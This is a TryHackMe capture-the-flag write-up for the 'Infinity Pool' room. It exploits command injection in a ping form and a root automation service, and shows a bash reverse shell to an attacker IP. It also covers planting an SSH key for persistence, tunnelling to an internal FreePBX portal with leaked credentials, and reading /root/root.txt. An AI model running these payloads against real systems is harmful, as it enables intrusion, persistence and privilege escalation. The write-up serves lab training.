TryHackMe Writeup
Infinity Pool | Hacker Holidays Day 11 | TryHackMe Writeup
Exploiting Command Injection, Internal Services to Escalate Privileges
Room Link: https://tryhackme.com/room/hh-infinitypool-5b3548af
Hacker Holidays 2026 is a 14-day, free cybersecurity event hosted by TryHackMe, designed to be accessible for beginners while providing a fun, story-driven experience.
Starting from July 27, a new, beginner-friendly hacking challenge will be released daily at 16:00 UTC. Set within the Byte Lotus Hotel — a fictional resort known for its luxury aesthetics but poor security posture. The event covers a diverse range of topics including OSINT, web exploitation, cloud security, digital forensics, and AI prompt attacks.
Participants can earn raffle tickets for each room they complete, with a prize pool exceeding $50,000 that includes hardware, certification vouchers, and official swag. Additionally, those who complete the entire event will receive a certificate of completion.
Storyline: Day 11
Concierge Briefing
Byte Lotus Hotel promises a seamless stay powered by modern technology. Sometimes the most interesting systems are the ones guests were never meant to see.
Today’s Objectives
- Find the user flag
- Find the root flag
Walkthrough
I started with an nmap scan to discover open ports and services running on the target.
nmap -Pn -sC -sV <TARGET_IP>The initial scan revealed two open ports on the target: port 22 running OpenSSH and port 80 running a Gunicorn web server. The scan also provided additional valuable information, including the web page and the presence of a robots.txt file with two disallowed entries: /internal/ and /status.
The server header confirmed that the web application was powered by Gunicorn, a Python WSGI server, which suggested the backend was likely built with Flask or Django.
Then I visited the target website to see what the site looked like and what functionality it offered:
http://<TARGET_IP>/robots.txt
robots.txt explicitly told us that /status and /internal/ exist but are disallowed for web crawlers. This is a common misconfiguration where developers hide endpoints but don't properly secure them.
From the page source, I found the existence of an app.js file:
That JS file revealed some important stuff regarding those two directories we found earlier. /status is a staff connectivity tool which posts to /internal/netcheck, It’s disallowed in robots.txt but still accessible.
Then I accessed the /status endpoint to see what it does:
http://<TARGET_IP>/status
There I found a “Sister-property connectivity” tool with a form. This looked like a network diagnostic tool that pings hosts. Tools that take user input and execute system commands are prime candidates for command injection. The form took a host/IP input and likely executed a ping command on the server. This pattern is a classic command injection vulnerability.
I tried to execute whoami command by running the following command:
10.0.0.5; whoamiThe whoami command executed successfully and returned web, which means the input was passed directly to a shell command, and we could inject arbitrary commands as the web server process runs as user web.
Command injection through HTTP requests is limited. A reverse shell gives us interactive access to explore the system. I used the following Bash reverse shell:
10.0.0.5; bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'I first started a netcat listener on my machine:
nc -lvnp 4444Then I executed the reverse shell payload on the website’s network diagnostic tool:
Within moments, I received a connection on my listener:
With a stable reverse shell established, my immediate priority was to locate and read the user flag. After looking for a while, I located the user flag inside /home/web directory:
Now our next goal is to find the root flag. So my objective shifted to privilege escalation. I needed to elevate my privileges to root and capture the root flag. I systematically checked the most common vectors.
find / -perm -4000 -type f 2>/dev/nullfind / -perm -2000 -type f 2>/dev/nullI first checked for SUID binaries in the system. SUID binaries run with the permissions of the file owner rather than the user executing them, and misconfigured SUID binaries are a classic privilege escalation vector. The output showed the usual suspects like sudo, passwd, su, and mount, but nothing out of the ordinary that could be exploited. I also checked for SGID binaries, but again, nothing unusual stood out.
I then checked my sudo permissions using sudo -l. This command lists the commands the current user is allowed to run with sudo privileges. The output indicated that I needed a password, and I didn’t have the web user’s password.
Realizing that the standard techniques weren’t going to work, I decided to take a broader approach. I needed to understand the entire system architecture. What services were running? What users were they running under? Were there any internal services I could access from my current position?
I was currently in the /var/www/infinity_pool/edge/ directory, which I knew contained the edge service I had exploited. I decided to list the parent directory to see what else was in the infinity_pool folder.
I ran ls -la /var/www/infinity_pool/ and saw the following:
The infinity_pool directory contained three subdirectories:
edge→ The service I had just exploited (I was currently inside it)automation→ A directory that sounded like it might be some kind of automated processwatchtower→ A directory that sounded like it might be a monitoring or configuration service.
The automation directory was owned by root, and the watchtower directory was owned by the svc-watch user. This told me that whatever services were running from these directories, they were running under different user contexts. automation directory had restrictive permissions (drwxr-x---), which meant only the root user could access it.
However, I needed to confirm that these services were actually running and, more importantly, see what users they were running under.
I ran the following command to filter the process list for these specific services:
ps aux | grep -E "automation|edge|watchtower"This output confirmed my suspicions and gave me exactly the information I needed. The automation service was running under the root user on port 9000, bound only to localhost. This was the breakthrough I needed. Since it ran as root, any vulnerability I could find in it would give me direct root access. The edge service was running under the web user, and the watchtower service was running under the svc-watch user on port 3000.
Get Debmalya Mondal’s stories in your inbox
Join Medium for free to get updates from this writer.
I decided to see what the watchtower service actually did by sending a curl request to it:
curl http://127.0.0.1:3000/The response was an HTML page with the title “Watchtower — ops console”. The page displayed a simple monitoring dashboard and, crucially, at the bottom of the page, it explicitly listed the available service endpoints: /api/health and /api/config.
I immediately explored the /api/config endpoint:
curl http://127.0.0.1:3000/api/config{
"automation_endpoint": "http://127.0.0.1:9000",
"note": "internal network only -- do not expose",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}The configuration contained credentials for the FreePBX User Control Panel. The telephony user was listed as FreePBXUCPTemplateCreator and the password was St4yN0t1c3d_2026. The configuration also provided the full URL to the UCP portal: http://127.0.0.1:8080/ucp. An operational note explicitly stated that the UCP was still using default template credentials and needed to be rotated, confirming that these were indeed the default credentials and that they had not been changed.
I sent a request to the automation service’s health endpoint to understand what it did and what endpoints it exposed.
curl http://127.0.0.1:9000/health{
"endpoints": {
"GET /health": "service status",
"POST /jobs/export": {
"auth": "Authorization: Bearer <automation key>",
"body": {"report": "<report name>"},
"desc": "archive the latest data export"
}
},
"runs_as": "root",
"service": "automation",
"status": "ok"
}The response was critical. The service had a /jobs/export endpoint. This endpoint required authentication using a Bearer token. The token was referred to as an “automation key”. The service explicitly stated it runs as root.
The automation service has a functional endpoint, but it requires a Bearer token. I need to find this ‘automation key’ to interact with the service. If I can get this key, I can potentially exploit the service and get root access.
In the watchtower configuration that I had discovered earlier, I noticed something interesting. The automation_endpoint field told me that the automation service was indeed related to the UCP portal. This suggested that the automation key might be accessible through the UCP portal.
The UCP portal was running on port 8080, but like the other services, it was only accessible from localhost. My Kali machine could not directly access it because the firewall was blocking external connections to that port.
I needed a way to access this internal service from my own machine. I decided to use SSH tunneling to create a secure channel through which I could access the UCP portal.
Before I could create the SSH tunnel, I needed to authenticate with the target’s SSH server without being prompted for a password. The most efficient way to do this was to use SSH key-based authentication. I generated a dedicated key pair specifically for this engagement, which is a security best practice because it isolates the key to this one task and prevents accidentally exposing my personal keys.
Ran the following command on the attack machine:
ssh-keygen -t rsa -f ~/.ssh/id_rsa_web -N ""This created two files:
~/.ssh/id_rsa_web → The private key.
~/.ssh/id_rsa_web.pub → The public key (this goes on the target)
The public key is what tells the target’s SSH server that my Kali machine is authorized to log in as the web user.
With the public key copied, I jumped back to my reverse shell on the target machine. I needed to add this public key to the authorized_keys file for the web user. This file is a list of public keys that are allowed to authenticate as that user.
Ran the following command on the target machine:
mkdir -p /home/web/.sshecho "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF5Tkc+A0rMIBtpOClI+GpoNWJ0lsOfR1Gb1qFoP7FWMVlTwbZOXjXDByULJFQMxzHjTGre0iCDV8Mleksa1kf153e15VRDwjM2wZk6huDpKzoR8ZiO7jfC45mnJla2RhTBuhVsydpCskxKxveoXRYBCOSqeZIYg9xPrbMiqxNsc31VJvBSSMJQfdEyuIRMVD0vfLjf+aKHh9QcXsY5IEAm1BK7amjkkCTwq9XowMpaRrn/DIWdpwAJv3Dkr7jXZWq4K3N2kI/qM6DdqIIJaP6QPDtQ4ad82Js1g9IzOe4uqL2GLBle/dbjeB+h2m9uGNoo+ZY0XFqzokcjXM+2NUFVlrGEDFxxHG3uDlBZ0N8TM6Bx90btqHsXd4nuxdK0fc9rddAFwzZ/cN8vrF1KBSJh5xMrT/eyLR4/oEiRhkjzkuqKQCYB5cEJqpc65uC83WSWjNTGvLqZK5iIHqeqyp2SR2Yhvr7V63u0IykJDK42heRajWofU7RxOR3wCPHdgs= devdebug@kali" >> /home/web/.ssh/authorized_keyschmod 600 /home/web/.ssh/authorized_keyschmod 700 /home/web/.sshNow that the public key was installed on the target, I could create the SSH tunnel from my Kali machine. I ran this command on my attach machine to establish a persistent connection to the target and set up the port forwarding:
ssh -i ~/.ssh/id_rsa_web -L 8080:127.0.0.1:8080 web@<ATTACK_IP>Any traffic sent to port 8080 on my Kali machine is forwarded through the SSH connection to port 8080 on the target’s localhost. This effectively gives me access to the UCP portal as if it were running locally on my machine.
With the SSH tunnel established, I opened my browser and navigated to the forwarded port. The tunnel was now forwarding all traffic from my Kali machine’s port 8080 to the target’s localhost port 8080:
The UCP login page loaded successfully. I was now seeing the UCP portal as if it were running locally on my machine. I logged in with the credentials I discovered in the watchtower configuration:
Username: FreePBXUCPTemplateCreatorPassword: St4yN0t1c3d_2026
The login was successful, and I was presented with the UCP dashboard. I now had full access to the UCP interface, which gave me visibility into the FreePBX system and its configuration.
As there are no active dashboards, I first created a dashboard named demo
Then, I clicked the “Add Widget” button to see what was available.
After experimenting with the widgets, I added a Voicemail widget to see what it would reveal. I noticed something unexpected:
Automation key found: cc_auto_7b3f9a1c4e0d2f6a
After trying several widgets with no success, the voicemail widget had finally revealed exactly what I was looking for. It exposed the automation key in the voicemail interface, making it accessible to anyone who could log into the UCP.
Earlier, I had already explored the automation service by sending a request to its health endpoint, which had revealed that the service ran as root and exposed a /jobs/export endpoint requiring a Bearer token. Now that I had the token, I could finally interact with this root service and test it for vulnerabilities.
I first sent a legitimate request to understand how the endpoint worked:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"test"}'I then suspected that the report parameter might be vulnerable to command injection, similar to the edge service I had exploited earlier. To test this theory, I crafted a payload that used a semicolon to terminate the expected report name and inject the whoami command:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"test;whoami;#"}'The response confirmed my suspicion. The output field contained root, which showed that the whoami command had executed successfully and that the service was indeed running as root. I had command injection on a root service. With command injection confirmed, capturing the root flag was now straightforward.
To understand what was in the root directory, I ran a directory listing:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"test;ls -la /root;#"}'total 68
drwx------ 8 root root 4096 Jul 25 17:02 .
drwxr-xr-x 22 root root 4096 Aug 7 05:46 ..
-rw-r--r-- 1 root root 1754 Jul 25 17:03 .bash_history
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 root root 4096 Jun 30 09:06 .cache
drwx------ 3 root root 4096 Jun 30 09:07 .launchpadlib
-rw------- 1 root root 20 Jul 25 17:02 .lesshst
drwxr-xr-x 3 root root 4096 Oct 22 2024 .local
drwxr-xr-x 3 root root 4096 Jun 30 09:10 .npm
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
drwx------ 2 root root 4096 Oct 22 2024 .ssh
-rw------- 1 root root 16257 Jul 25 17:02 .viminfo
-rw------- 1 root root 27 Jun 30 09:07 root.txt
drwxr-xr-x 4 root root 4096 Oct 22 2024 snapThe response displayed the contents of the root directory, and among the files listed, I spotted root.txt. Now that I had confirmed the flag file existed at /root/root.txt, I read its contents using the following command:
curl -sS -X POST http://127.0.0.1:9000/jobs/export \
-H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' \
-H 'Content-Type: application/json' \
--data-binary '{"report":"test;cat /root/root.txt;#"}'I had successfully escalated my privileges from the web user to root and captured the final flag.
If you’re attempting this challenge, I highly recommend trying it on your own before reading the solution cause it really helps strengthen your skills.
If you found this write-up helpful, consider giving it a clap 👏. This will keep me motivated to write more. If you encounter any issues while solving the challenge or notice any mistakes in this write-up, feel free to let me know in the comments.
Connect with me on 🔗LinkedIn.
Follow me for more cybersecurity and tech write-ups.



![[IronHold] — Spring Boot Source Code Analysis: Finding Credentials, SQL Injection, PrivEsc, and…](https://miro.medium.com/v2/resize:fit:1358/format:webp/1*2yaTo73YRGo1GknAUJNfPg.jpeg)
